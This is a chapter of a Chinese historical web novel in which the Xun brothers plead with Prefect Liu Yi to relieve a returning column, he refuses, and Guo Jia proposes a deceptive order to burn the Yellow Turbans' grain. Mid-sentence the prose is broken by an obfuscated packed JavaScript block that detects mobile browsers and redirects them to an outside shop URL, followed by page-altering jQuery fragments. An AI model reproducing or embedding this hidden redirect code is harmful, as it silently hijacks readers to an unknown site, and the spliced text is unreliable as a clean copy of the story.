荀衍低骂一声,顾不得整理衣冠,抓起那卷标注了方位的地图便冲出了房门。
“阿衍?”
见幼弟急匆匆地推门而入,荀彧心头一跳。
荀衍顾不得调匀呼吸,急声道:“兄长,那支去清剿县乡的郡兵,回来了。”
荀彧面露喜色:“那是好事!城中兵力吃紧,若有这五千生力军……”
“不好!”荀衍截断了他的话,“他们没有绕道去寻皇甫嵩将军,也没有在外围袭扰,而是直接从南面谷道,直奔颍川城而来!此刻距离波才的大营,已不足三十里!”
荀彧的笑容僵在脸上。
身为兵法大家,他瞬间明白了这意味着什么。
一支疲惫之师,在毫无联络、毫无配合的情况下,试图从背后冲击数万人的包围圈。结果只有一个——被围歼。
更可怕的是,一旦这支军队在城下被击溃,溃兵会冲击城门。
届时,守军是开门接纳,还是任其被杀?
开门,黄巾军会尾随而入;不开,便是坐视袍泽惨死,军心必崩。
“走!去太守府!”荀彧当机立断,一把拉起荀衍的手臂。
夜色沉沉,太守府内灯火通明。
刘翊背着手,在厅堂内来回踱步,脚下的影子被烛火拉得忽长忽短,正如他此刻焦灼不安的内心。
听到荀氏兄弟深夜求见,他像是抓住了救命稻草,连鞋履都未穿正,便迎了出来。
“文若!可是有了退敌良策?”
荀彧没有寒暄,开门见山:“府君,赵校尉率领的那五千郡兵,回来了。”
“回来了?”刘翊大喜过望,甚至激动地拍了一下大腿,“天不亡我!天不亡我啊!待他们入城,我军兵力足足有一万,孙子兵法允:十则围之,五则攻之,波才兵力未达我军十倍,必然将无功而返!”
“府君,兵法有云不假,但兵法也说,兵者,诡道也,存乎一心。赵校尉麾下五千郡兵,连日赶路,早已是疲敝之师。如今要他们以疲敝之师,正面冲击数万贼军的包围圈,府君以为,他们有多少机会能杀到城下?”荀彧两句话瞬间压下了刘翊那亢奋的心情。
“那……那可如何是好?”
“接应。”荀彧吐出两个字,“赵校尉所部,必经此谷道。待其与贼军前锋接战,我军当立即大开南门,尽遣精锐,直冲波才中军!波才腹背受敌,必然首尾难顾,赵校尉所部压力骤减,方有一线生机与我军汇合。”
“不可!万万不可!”一名年长的郡丞第一个跳出来反对,“城中守军本就不足,若尽数派出,城池空虚,贼人若分兵从其他三门来攻,如之奈何?此乃置全城百姓于险地!”
“说得对!守城为上,怎可轻易出战!”
“荀文若,你这是在拿一城生灵做赌注!”
反对之声此起彼伏。刘翊本就六神无主,被下属们一鼓噪,更是面无人色,连连摆手:“文若,此计太过凶险,还是……还是从长计议。”
“府君!”荀彧上前一步,拱手道,“战机稍纵即逝。那五千人也是府君治下子民,是朝廷兵马,岂能见死不救?若能接应入城,颍川守备力量大增,守住城池的把握便多了三成!”
刘翊被逼得退无可退,那双浑浊的眼珠子转了几圈,忽然露出一抹狐疑的神色。
“文若,你又是如何得知赵校尉行踪的?莫非你在军中安插了私探?”
荀彧面色一沉,正要辩驳,他身后的荀衍却上前一步,平静地接过了话头。
“是我算出来的。”
刘翊像是听到了天大的笑话,他先是愣住,随即发出一阵干笑:“卜算?荀六公子,军国大事,可不是你过家家的游戏!”
“我敢用项上人头担保!我荀衍,愿立军令状!若那支郡兵并不是赵校尉所率领的那支,我愿受军法处置!”
刘翊摆了摆手,一副长者宽容晚辈的姿态,“这是这军国大事,讲究的是真凭实据。你们自己都只是推演,连个人证物证都没有,就让本官拿全城百姓的性命去赌开城门?这……恕难从命。”
“你——”荀衍气结。
这就是个死循环。要证明军队是真的,就得派人出去看;要派人出去看,就得穿过波才的封锁线;穿不过封锁线,就没法证明;没法证明,刘翊就不动。
等到证明了,那五千人骨头都凉了!
“既然不愿接应。”荀衍怒极反笑,“那敢问府君,那支清剿的队伍在外面孤立无援,府君却要在城里坐视他们去死?”
刘翊原本畏缩的神情忽然一变,把手里的茶盏往地上一摔,“你不提这事还好,一提这事,本官倒要问问你们荀家!若不是你们自作聪明,非要去端什么据点,那波才何至于如此疯狂?啊?!”
荀衍只觉得一股热血直冲天灵盖,气得浑身发抖。
当初若非荀家提前示警,端了太平道的老巢,此刻颍川城内早就火光冲天、里应外合了!这庸官不但不感激,反而倒打一耙?
他深吸一口气,压下心头火气:“府君,那依你之见,该当如何?”
刘翊眼珠一转,似乎想到了什么绝妙的主意:“既然文若言之凿凿,想必是有把握的。不如这样,你派人出城,穿过波才的封锁线,去与那支郡兵接头。若能拿回领兵校尉的印信,确认无误,本官便下令开城。”
如今颍川城被围得水泄不通,连只苍蝇都飞不出去,派人出城接头?
这不仅是送死,更是根本不可能完成的任务。一来一回,哪怕那人插上翅膀,时间也来不及了。
“府君这是在强人所难。”荀彧的声音冷了下来。
“强人所难?”刘翊站起身,“文若啊,当初是你建议本官派兵去各县剿匪的吧?若非兵力分散,颍川何至于此?如今这烂摊子,难道不该由你们荀家来收拾吗?”
荀彧道:“去各县乡清剿,半个月至一个月就可完成,赵校尉一直拖到今日方归,这实在是我的预料之外。”
他的声音里透着一股深深的无力。
刘翊指
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193793|197113||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着门外,色厉内荏地吼道:“这是在质疑我郡兵故意拖延、玩忽职守?本官把话放在这儿!见不到印信,见不到确凿证据,谁也别想让本官开这城门!你们荀家若真有本事,就从那包围圈的缝隙里插过去,把信送出去啊!”
“缝隙?”荀衍怒极反笑,笑声中满是讥讽,“几万大军围城,连只鸟都飞不过去,府君嘴里倒是轻巧,竟还有缝隙?既然府君看得见缝隙,何不自己派人去?”
“你……你……”刘翊气得胡子乱颤。
“阿衍,够了。”
荀彧一把拽住荀衍的手腕,力道大得惊人。“府君既然执意如此,彧无话可说。”
荀彧转过身,拉着荀衍大步向外走去。
夜风扑面,荀衍心头的怒火被吹散几分。他看向荀彧,兄长脸上是难以掩饰的疲惫。
“兄长,并非全无办法。若论对人心的把握,还是奉孝兄长更胜一筹。何不请他来一同探讨?”
荀彧虽不满荀衍总是惦记着郭嘉,但不得不承认,郭嘉的智谋确实罕见。
眼下情势危急,顾不得私心。
“我着人去请他。”荀彧转身,吩咐家仆。
郭嘉刚睡下,就被敲门声惊醒。他披着外衣,揉着惺忪睡眼,打着哈欠来到荀府议事厅。他看到荀衍面色苍白,神情疲惫,心头一沉。
“是谁给我们阿衍气受了?”郭嘉走到荀衍身边,伸手轻拍他的头顶,语气里带着调侃,却又让人听出几分认真,“说说,阿兄替你报仇。”
阿兄?你真好意思!
荀彧默念一句正事要紧,才咽下这句吐槽。
荀彧轻咳一声,他将自己与刘翊的对话简要复述了一遍。
末了,他补充道:“阿衍自水镜先生处习得卜算推演,所言并非无的放矢。”
郭嘉的目光落在荀衍脸上,他眼底有笑意,心中暗道:何止并非无的放矢,我知道的,还比你多。
“刘府君真是……老而无用。”郭嘉懒洋洋地评价,随即跪坐在蒲团上,看向荀衍,“阿衍,你可有办法?”
荀衍点头:“我能算出黄巾军的巡逻路线,派遣一支小队避开守卫,穿过敌营,拿到信物。”
他话音刚落,郭嘉便接了上去,语气带着几分漫不经心:“拿到信物作甚?”
“卜算耗神,你身子骨弱,何必来回传递消息。”郭嘉轻声说,“只要将军令传达给赵校尉便是。”
“军令?什么军令?”荀衍还没反应过来。
郭嘉侧头看他,唇角轻扬:“烧了黄巾军的粮草。”
议事厅内,烛火摇曳。荀彧的身体一僵,呼吸停滞了半拍。
烧粮草?这计策本身并无稀奇,但在城内无接应的情况下,让那支疲惫之师去烧粮草,无疑是让他们以卵击石,有去无回。
“奉孝,你可知你在说什么?”荀彧声音低沉,压抑着怒意。
他知道郭嘉的智谋,也知道他行事不拘一格,但假传军令,骗其赴死,此等手段,未免太过狠辣。